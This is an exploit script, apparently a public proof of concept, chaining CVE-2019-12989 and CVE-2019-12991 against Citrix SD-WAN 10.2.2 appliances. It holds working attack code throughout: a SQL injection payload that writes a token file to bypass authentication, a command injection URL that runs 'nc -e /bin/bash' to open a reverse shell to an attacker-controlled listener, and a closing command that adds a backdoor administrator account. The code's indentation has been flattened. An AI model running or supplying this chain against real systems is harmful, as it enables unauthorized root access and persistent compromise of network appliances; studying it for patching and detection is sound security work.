Share
# Exploit Title: Citrix SD-WAN Appliance 10.2.2 Auth Bypass and Remote Command Execution  
# Date: 2019-07-12  
# Exploit Author: Chris Lyne (@lynerc)  
# Vendor Homepage: https://www.citrix.com  
# Product: Citrix SD-WAN  
# Software Link: https://www.citrix.com/downloads/citrix-sd-wan/  
# Version: Tested against 10.2.2  
# Tested on:   
# - Vendor-provided .OVA file  
# CVE: CVE-2019-12989, CVE-2019-12991  
#  
# See Also:  
# https://www.tenable.com/security/research/tra-2019-32  
# https://medium.com/tenable-techblog/an-exploit-chain-against-citrix-sd-wan-709db08fb4ac  
# https://support.citrix.com/article/CTX251987  
#  
# This code exploits both CVE-2019-12989 and CVE-2019-12991  
# You'll need your own Netcat listener  
  
import requests, urllib  
import sys, os, argparse  
import random  
from OpenSSL import crypto  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
TIMEOUT = 10 # sec  
  
def err_and_exit(msg):  
print '\n\nERROR: ' + msg + '\n\n'  
sys.exit(1)  
  
# CVE-2019-12989  
# auth bypass via file write  
def do_sql_injection(base_url):  
url = base_url + '/sdwan/nitro/v1/config/get_package_file?action=file_download'  
headers = { 'SSL_CLIENT_VERIFY' : 'SUCCESS' }  
token = random.randint(10000, 99999)  
json = {  
"get_package_file": {  
"site_name" : "blah' union select 'tenable','zero','day','research' INTO OUTFILE '/tmp/token_" + str(token) + "';#",  
"appliance_type" : "primary",  
"package_type" : "active"  
}  
}  
  
try:  
r = requests.post(url, headers=headers, json=json, verify=False, timeout=TIMEOUT)  
except requests.exceptions.ReadTimeout:  
return None  
  
# error is expected  
expected = {"status":"fail","message":"Invalid value specified for site_name or appliance_type"}  
if (r.status_code == 400 and r.json() == expected):  
return token  
else:  
return None  
  
# CVE-2019-12991  
# spawns a reverse shell  
def do_cmd_injection(base_url, token, ncip, ncport):  
cmd = 'sudo nc -nv %s %d -e /bin/bash' % (ncip, ncport) #   
url = base_url + '/cgi-bin/installpatch.cgi?swc-token=%d&installfile=`%s`' % (token, cmd)  
success = False  
try:  
r = requests.get(url, verify=False, timeout=TIMEOUT)  
except requests.exceptions.ReadTimeout:  
success = True  
  
# a timeout is success. it means we should have a shell  
return success  
  
##### MAIN #####  
  
desc = 'Citrix SD-WAN Appliance Auth Bypass and Remote Command Execution'  
arg_parser = argparse.ArgumentParser(description=desc)  
arg_parser.add_argument('-t', required=True, help='Citrix SD-WAN IP Address (Required)')  
arg_parser.add_argument('-ncip', required=True, help='Netcat listener IP')  
arg_parser.add_argument('-ncport', type=int, default=4444, help='Netcat listener port (Default: 4444)')  
  
args = arg_parser.parse_args()  
  
print "Starting... be patient. This takes a sec."  
  
# Path to target app  
base_url = 'https://' + args.t  
  
# do sql injection to get a swc-token for auth bypass  
token = do_sql_injection(base_url)  
if (token is None):  
err_and_exit('SQL injection failed.')  
  
print 'SQL injection successful! Your swc-token is ' + str(token) + '.'  
  
# if this worked, do the command injection  
# create a new admin user and spawn a reverse shell  
success = do_cmd_injection(base_url, token, args.ncip, args.ncport)  
  
if success is False:  
err_and_exit('Not so sure command injection worked. Expected a timeout.')  
  
print 'Seems like command injection succeeded.'  
print 'Check for your shell!\n'  
print 'To add an admin web user, run this command: perl /home/talariuser/bin/user_management.pl addUser eviladmin evilpassword 1'